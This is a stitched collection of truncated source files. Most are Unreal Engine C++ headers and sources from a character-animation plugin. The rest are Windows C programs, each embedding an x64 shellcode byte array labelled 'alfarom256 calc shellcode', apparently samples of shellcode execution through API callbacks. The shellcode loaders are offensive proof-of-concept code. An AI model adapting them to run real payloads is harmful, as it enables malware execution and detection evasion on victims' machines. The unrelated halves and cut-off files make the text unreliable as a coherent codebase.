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#pragma once
#include "AlsInAirState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsInAirState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ForceUnits = "cm/s"))
float VerticalVelocity{0.0f};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8... |
#pragma once
#include "AlsLayeringState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsLayeringState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ClampMax = 1))
float HeadBlendAmount{0.0f};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category ... |
#pragma once
#include "AlsLeanState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsLeanState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = -1, ClampMax = 1))
float RightAmount{0.0f};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Me... |
#pragma once
#include "AlsLocomotionAnimationState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsLocomotionAnimationState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bHasInput : 1 {false};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta =... |
#pragma once
#include "AlsLocomotionState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsLocomotionState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bHasInput : 1 {false};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = -180,... |
#pragma once
#include "AlsMantlingState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsMantlingState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
int32 RootMotionSourceId{0};
};
|
#pragma once
#include "AlsMovementBaseState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsMovementBaseState
{
GENERATED_BODY()
UPROPERTY(BlueprintReadWrite, Category = "ALS")
TObjectPtr<UPrimitiveComponent> Primitive;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
FName BoneName;
UPRO... |
#pragma once
#include "AlsMovementDirection.generated.h"
UENUM(BlueprintType)
enum class EAlsMovementDirection : uint8
{
Forward,
Backward,
Left,
Right
};
USTRUCT(BlueprintType)
struct ALS_API FAlsMovementDirectionCache
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS"... |
#pragma once
#include "AlsPoseState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsPoseState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ClampMax = 1))
float GroundedAmount{1.0f};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", ... |
#pragma once
#include "Animation/PoseSnapshot.h"
#include "AlsRagdollingAnimationState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsRagdollingAnimationState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
FPoseSnapshot FinalRagdollPose;
UPROPERTY(EditAnywhere, Bluep... |
#pragma once
#include "AlsRagdollingState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsRagdollingState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
FVector Velocity{ForceInit};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ForceUnits = "N"... |
#pragma once
#include "AlsRollingState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsRollingState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = -180, ClampMax = 180, ForceUnits = "deg"))
float TargetYawAngle{0.0f};
};
|
#pragma once
#include "AlsRotateInPlaceState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsRotateInPlaceState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bUpdatedThisFrame : 1 {false};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bRo... |
#pragma once
#include "AlsSpineState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsSpineState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bSpineRotationAllowed : 1 {false};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ... |
#pragma once
#include "AlsStandingState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsStandingState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0, ClampMax = 1))
float StrideBlendAmount{0.0f};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category =... |
#pragma once
#include "AlsTransitionsState.generated.h"
class UAnimSequenceBase;
USTRUCT(BlueprintType)
struct ALS_API FAlsTransitionsState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bTransitionsAllowed : 1 {false};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Categor... |
#pragma once
#include "AlsTurnInPlaceState.generated.h"
class UAlsTurnInPlaceSettings;
USTRUCT(BlueprintType)
struct ALS_API FAlsTurnInPlaceState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bUpdatedThisFrame : 1 {false};
UPROPERTY(EditAnywhere, BlueprintReadWrite, ... |
#pragma once
#include "AlsViewAnimationState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsViewAnimationState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
FRotator Rotation{ForceInit};
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin ... |
#pragma once
#include "AlsViewState.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsViewNetworkSmoothingState
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
uint8 bEnabled : 1 {false};
// Used to track the time of the last server move.
UPROPERTY(EditAnywhere, Bluepri... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "AlsConstants.generated.h"
UCLASS(Meta = (BlueprintThreadSafe))
class ALS_API UAlsConstants : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
protected:
// Bones
inline static const FName RootBone{TEXTVIEW("root")};
inline static const FName... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "AlsDebugUtility.generated.h"
UCLASS()
class ALS_API UAlsDebugUtility : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
public:
static constexpr auto DrawImpactPointSize{32.0f};
static constexpr auto DrawLineThickness{1.0f};
static constexpr ... |
#pragma once
#include "Containers/UnrealString.h"
#include "UObject/ReflectedTypeAccessors.h"
namespace AlsEnumUtility
{
template <class EnumType>
concept CIsUEnumClass = static_cast<bool>(TIsUEnumClass<EnumType>::Value);
template <CIsUEnumClass EnumType>
int32 GetIndexByValue(const EnumType Value)
{
retur... |
#pragma once
#include "NativeGameplayTags.h"
namespace AlsViewModeTags
{
ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(FirstPerson)
ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(ThirdPerson)
}
namespace AlsLocomotionModeTags
{
ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(Grounded)
ALS_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(InAir)
}
... |
#pragma once
#include "Logging/LogMacros.h"
namespace AlsLog
{
ALS_API extern const FName MessageLogName;
}
ALS_API DECLARE_LOG_CATEGORY_EXTERN(LogAls, Log, All)
|
#pragma once
#include "Misc/AssertionMacros.h"
#define ALS_GET_TYPE_STRING(Type) \
((void) sizeof UEAsserts_Private::GetMemberNameCheckedJunk(static_cast<Type*>(nullptr)), TEXTVIEW(#Type))
// A lightweight version of the ensure() macro that doesn't generate a C++ call stack and doesn't send a
// crash report, be... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "State/AlsMovementDirection.h"
#include "AlsMath.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsSpringFloatState
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
float Velocity{ForceInit};
UPROPERT... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "AlsMontageUtility.generated.h"
UCLASS()
class ALS_API UAlsMontageUtility : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
public:
UFUNCTION(BlueprintPure, Category = "ALS|Montage Utility", Meta = (ReturnDisplayName = "Transform"))
static FTr... |
#pragma once
#include "Concepts/Pointer.h"
namespace AlsPrivateMemberAccessor
{
// Global pointer to a field or method.
template <typename AccessorName>
AccessorName::MemberType TMemberPointer;
// Struct that is used to initialize TPointer.
template <typename AccessorName, typename AccessorName::MemberType M... |
#pragma once
#include "AlsMath.h"
#include "AlsRotation.generated.h"
UCLASS(Meta = (BlueprintThreadSafe))
class ALS_API UAlsRotation : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
public:
static constexpr auto CounterClockwiseRotationAngleThreshold{5.0f};
public:
template <typename ValueType> requires UE:... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "AlsUtility.generated.h"
struct FBasedMovementInfo;
DECLARE_STATS_GROUP(TEXT("Als"), STATGROUP_Als, STATCAT_Advanced)
UCLASS()
class ALS_API UAlsUtility : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
public:
static constexpr FStringView Bo... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "AlsVector.generated.h"
USTRUCT(BlueprintType)
struct ALS_API FAlsSpringVectorState
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
FVector Velocity{ForceInit};
UPROPERTY(EditAnywhere, BlueprintReadWrite,... |
#include "AlsCameraAnimationInstance.h"
#include "AlsCameraComponent.h"
#include "AlsCharacter.h"
#include "Engine/World.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsCameraAnimationInstance)
void UAlsCameraAnimationInstance::NativeInitializeAnimation()
{
Super::NativeInitializeAnimation();
Character = Cast<AAls... |
#include "AlsCameraComponent.h"
#include "AlsCameraSettings.h"
#include "DrawDebugHelpers.h"
#include "Animation/AnimInstance.h"
#include "Engine/OverlapResult.h"
#include "GameFramework/Character.h"
#include "GameFramework/WorldSettings.h"
#include "Utility/AlsCameraConstants.h"
#include "Utility/AlsDebugUtility.h"
#... |
#include "AlsCameraComponent.h"
#include "DisplayDebugHelpers.h"
#include "Animation/AnimInstance.h"
#include "Engine/Canvas.h"
#include "Engine/Engine.h"
#include "Utility/AlsCameraConstants.h"
#include "Utility/AlsUtility.h"
#define LOCTEXT_NAMESPACE "AlsCameraComponentDebug"
void UAlsCameraComponent::DisplayDebug... |
#include "ALSCameraModule.h"
#if ALLOW_CONSOLE
#include "Engine/Console.h"
#endif
IMPLEMENT_MODULE(FALSCameraModule, ALSCamera)
void FALSCameraModule::StartupModule()
{
FDefaultModuleImpl::StartupModule();
#if ALLOW_CONSOLE
UConsole::RegisterConsoleAutoCompleteEntries.AddRaw(this, &FALSCameraModule::Console_OnReg... |
#pragma once
#include "Modules/ModuleManager.h"
struct FAutoCompleteCommand;
class ALSCAMERA_API FALSCameraModule : public FDefaultModuleImpl
{
public:
virtual void StartupModule() override;
virtual void ShutdownModule() override;
private:
#if ALLOW_CONSOLE
void Console_OnRegisterAutoCompleteEntries(TArray<FAut... |
#include "AlsCameraSettings.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsCameraSettings)
#if WITH_EDITORONLY_DATA
void UAlsCameraSettings::Serialize(FArchive& Archive)
{
UObject::Serialize(Archive); // NOLINT(bugprone-parent-virtual-call)
if (Archive.IsLoading())
{
PostProcess.OnAfterLoad();
}
}
#endif
|
#include "Notifies/AlsAnimNotify_CameraShake.h"
#include "Camera/CameraShakeBase.h"
#include "Components/SkeletalMeshComponent.h"
#include "GameFramework/Pawn.h"
#include "GameFramework/PlayerController.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimNotify_CameraShake)
UAlsAnimNotify_CameraShake::UAlsAnimNotify_... |
#pragma once
#include "Animation/AnimInstance.h"
#include "Utility/AlsGameplayTags.h"
#include "AlsCameraAnimationInstance.generated.h"
class AAlsCharacter;
class UAlsCameraComponent;
UCLASS()
class ALSCAMERA_API UAlsCameraAnimationInstance : public UAnimInstance
{
GENERATED_BODY()
protected:
UPROPERTY(VisibleAny... |
#pragma once
#include "Components/SkeletalMeshComponent.h"
#include "Utility/AlsMath.h"
#include "AlsCameraComponent.generated.h"
class UAlsCameraSettings;
class ACharacter;
UCLASS(ClassGroup = "ALS", Meta = (BlueprintSpawnableComponent),
HideCategories = ("ComponentTick", "Clothing", "Physics", "MasterPoseComponen... |
#pragma once
#include "Engine/DataAsset.h"
#include "Engine/Scene.h"
#include "Utility/AlsConstants.h"
#include "AlsCameraSettings.generated.h"
USTRUCT(BlueprintType)
struct ALSCAMERA_API FAlsFirstPersonCameraSettings
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (Clamp... |
#pragma once
#include "Animation/AnimNotifies/AnimNotify.h"
#include "Templates/SubclassOf.h"
#include "AlsAnimNotify_CameraShake.generated.h"
class UCameraShakeBase;
UCLASS(DisplayName = "Als Camera Shake Animation Notify")
class ALSCAMERA_API UAlsAnimNotify_CameraShake : public UAnimNotify
{
GENERATED_BODY()
pro... |
#pragma once
#include "Kismet/BlueprintFunctionLibrary.h"
#include "AlsCameraConstants.generated.h"
UCLASS(Meta = (BlueprintThreadSafe))
class ALSCAMERA_API UAlsCameraConstants : public UBlueprintFunctionLibrary
{
GENERATED_BODY()
protected:
// Animation Curves
inline static const FName CameraOffsetXCurve{TEXTVI... |
#include "ALSEditorModule.h"
#include "Modules/ModuleManager.h"
IMPLEMENT_MODULE(FDefaultModuleImpl, ALSEditor)
|
#pragma once
|
#include "AlsSkeletonUtility.h"
#include "Animation/BlendProfile.h"
#include "Engine/SkeletalMeshSocket.h"
#include "Logging/MessageLog.h"
#include "Misc/UObjectToken.h"
#include "Utility/AlsLog.h"
#include "Utility/AlsMacros.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsSkeletonUtility)
#define LOCTEXT_NAMESPACE "... |
#include "Modifiers/AlsAnimationModifier_CalculateRotationYawSpeed.h"
#include "Animation/AnimSequence.h"
#include "Utility/AlsConstants.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CalculateRotationYawSpeed)
void UAlsAnimationModifier_CalculateRotationYawSpeed::OnApply_Implementation(UAnimSeq... |
#include "Modifiers/AlsAnimationModifier_CopyCurves.h"
#include "Animation/AnimSequence.h"
#include "Utility/AlsMacros.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CopyCurves)
void UAlsAnimationModifier_CopyCurves::OnApply_Implementation(UAnimSequence* Sequence)
{
Super::OnApply_Implementatio... |
#include "Modifiers/AlsAnimationModifier_CreateCurves.h"
#include "Animation/AnimSequence.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CreateCurves)
void UAlsAnimationModifier_CreateCurves::OnApply_Implementation(UAnimSequence* Sequence)
{
Super::OnApply_Implementation(Sequence);
for (const... |
#include "Modifiers/AlsAnimationModifier_CreateLayeringCurves.h"
#include "Animation/AnimSequence.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimationModifier_CreateLayeringCurves)
void UAlsAnimationModifier_CreateLayeringCurves::OnApply_Implementation(UAnimSequence* Sequence)
{
Super::OnApply_Implementation... |
#include "Nodes/AlsAnimGraphNode_CurvesBlend.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimGraphNode_CurvesBlend)
#define LOCTEXT_NAMESPACE "AlsAnimGraphNode_CurvesBlend"
FText UAlsAnimGraphNode_CurvesBlend::GetNodeTitle(const ENodeTitleType::Type TitleType) const
{
return LOCTEXT("Title", "Blend Curves");
}
... |
#include "Nodes/AlsAnimGraphNode_GameplayTagsBlend.h"
#include "Utility/AlsUtility.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAnimGraphNode_GameplayTagsBlend)
#define LOCTEXT_NAMESPACE "AlsAnimGraphNode_GameplayTagsBlend"
UAlsAnimGraphNode_GameplayTagsBlend::UAlsAnimGraphNode_GameplayTagsBlend()
{
Node.AddPose... |
#pragma once
#include "Animation/Skeleton.h"
#include "AlsSkeletonUtility.generated.h"
USTRUCT(BlueprintType)
struct ALSEDITOR_API FAlsBlendProfileEntry
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
FName BoneName;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS")
... |
#pragma once
#include "AnimationModifier.h"
#include "AlsAnimationModifier_CalculateRotationYawSpeed.generated.h"
// This animation modifier calculates the root rotation speed and is used to create the rotation yaw
// speed curves for the rotation animations. Each curve value represents the rotation speed from
// ... |
#pragma once
#include "AnimationModifier.h"
#include "AlsAnimationModifier_CopyCurves.generated.h"
UCLASS(DisplayName = "Als Copy Curves Animation Modifier")
class ALSEDITOR_API UAlsAnimationModifier_CopyCurves : public UAnimationModifier
{
GENERATED_BODY()
protected:
UPROPERTY(EditAnywhere, BlueprintReadOnly, ... |
#pragma once
#include "AnimationModifier.h"
#include "Utility/AlsConstants.h"
#include "AlsAnimationModifier_CreateCurves.generated.h"
USTRUCT(BlueprintType)
struct ALSEDITOR_API FAlsAnimationCurveKey
{
GENERATED_BODY()
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "ALS", Meta = (ClampMin = 0))
int32 ... |
#pragma once
#include "AnimationModifier.h"
#include "Utility/AlsConstants.h"
#include "AlsAnimationModifier_CreateLayeringCurves.generated.h"
UCLASS(DisplayName = "Als Create Layering Curves Animation Modifier")
class ALSEDITOR_API UAlsAnimationModifier_CreateLayeringCurves : public UAnimationModifier
{
GENERATE... |
#pragma once
#include "AnimGraphNode_Base.h"
#include "Nodes/AlsAnimNode_CurvesBlend.h"
#include "AlsAnimGraphNode_CurvesBlend.generated.h"
UCLASS()
class ALSEDITOR_API UAlsAnimGraphNode_CurvesBlend : public UAnimGraphNode_Base
{
GENERATED_BODY()
protected:
UPROPERTY(EditAnywhere, BlueprintReadOnly, Category = "Se... |
#pragma once
#include "AnimGraphNode_BlendListBase.h"
#include "Nodes/AlsAnimNode_GameplayTagsBlend.h"
#include "AlsAnimGraphNode_GameplayTagsBlend.generated.h"
UCLASS()
class ALSEDITOR_API UAlsAnimGraphNode_GameplayTagsBlend : public UAnimGraphNode_BlendListBase
{
GENERATED_BODY()
protected:
UPROPERTY(EditAnywher... |
#include "AlsAIController.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsAIController)
AAlsAIController::AAlsAIController()
{
bAttachToPawn = true;
}
void AAlsAIController::OnPossess(APawn* NewPawn)
{
Super::OnPossess(NewPawn);
RunBehaviorTree(BehaviorTree);
}
FVector AAlsAIController::GetFocalPointOnActor(cons... |
#include "AlsCharacterExample.h"
#include "AlsCameraComponent.h"
#include "EnhancedInputComponent.h"
#include "EnhancedInputSubsystems.h"
#include "Engine/LocalPlayer.h"
#include "GameFramework/PlayerController.h"
#include "Utility/AlsVector.h"
#include UE_INLINE_GENERATED_CPP_BY_NAME(AlsCharacterExample)
AAlsCharac... |
#include "ALSExtrasModule.h"
#include "Modules/ModuleManager.h"
IMPLEMENT_MODULE(FDefaultModuleImpl, ALSExtras)
|
#pragma once
|
#pragma once
#include "AIController.h"
#include "AlsAIController.generated.h"
UCLASS(DisplayName = "Als AI Controller")
class ALSEXTRAS_API AAlsAIController : public AAIController
{
GENERATED_BODY()
protected:
UPROPERTY(EditAnywhere, BlueprintReadOnly, Category = "Settings")
TObjectPtr<UBehaviorTree> BehaviorTree... |
#pragma once
#include "AlsCharacter.h"
#include "AlsCharacterExample.generated.h"
struct FInputActionValue;
class UAlsCameraComponent;
class UInputMappingContext;
class UInputAction;
UCLASS(AutoExpandCategories = ("Settings|Als Character Example"))
class ALSEXTRAS_API AAlsCharacterExample : public AAlsCharacter
{
G... |
#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
// Requires Crypt32.lib
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x3... |
#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
// requires Crypt32.lib
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x... |
#include <windows.h>
#include <stdio.h>
#include <dpa_dsa.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <windows.h>
#include <stdio.h>
#include <threadpoolapiset.h>
// This technique was developed by alfarom256 please check out his awesome work!
#define LEN 277
// run calc
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x... |
#include <Windows.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4... |
#include <Windows.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x... |
#include <Windows.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x1... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18... |
#include <windows.h>
#include <stdio.h>
// requires Dbghelp.lib
#include <Dbghelp.h>
#pragma comment(lib, "Dbghelp.lib")
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18... |
#include <windows.h>
#include <stdio.h>
#include <dbghelp.h>
// Requires dbghelp.lib
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31... |
#include <Windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <Windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <Windows.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\... |
// EnumICMProfiles.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <Windows.h>
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x... |
#include <Windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
